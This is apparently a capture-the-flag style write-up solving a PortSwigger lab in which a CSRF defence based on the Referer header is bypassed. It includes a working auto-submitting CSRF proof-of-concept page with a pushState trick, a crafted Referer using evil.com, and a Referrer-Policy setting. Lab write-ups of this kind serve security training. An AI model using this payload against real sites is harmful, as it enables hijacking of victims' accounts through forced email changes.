Objective

This lab’s email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

Solution

Just like the other CSRF labs, we have a unctionality to update the email by looking into My Account tab

I thought of removing the values of Referrer header and analyse the response.. So I did this by removing the values of the particular, sent the request and responded with "Invalid referer header"

In the Referrer header, I replaced with the following http://evil.com/@0a78008403f3e9d780764e88003000c0.web-security-academy.net and the reason is evil.com is some random string from my side and for example I gave it.. Then you can observe a lab URL that’s the thing being validated here and sent the request, as a response it responded with a 302 meaning our email got updated

Everything goes well right, now we can build a CSRF POC and update the pushState by adding our payload that we used in the referrer header

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a78008403f3e9d780764e88003000c0.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker&#46;s&#64;outlook&#46;in" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/@0a78008403f3e9d780764e88003000c0.web-security-academy.net');
      document.forms[0].submit();
    </script>
  </body>
</html>

Now, In the exploit server.. Paste the following POC and then in the header.. Add like Referrer-Policy: unsafe-url where it will allow the full url through the referrer header.. Then Store -> Deliver the exploit to victim which will actually solves the lab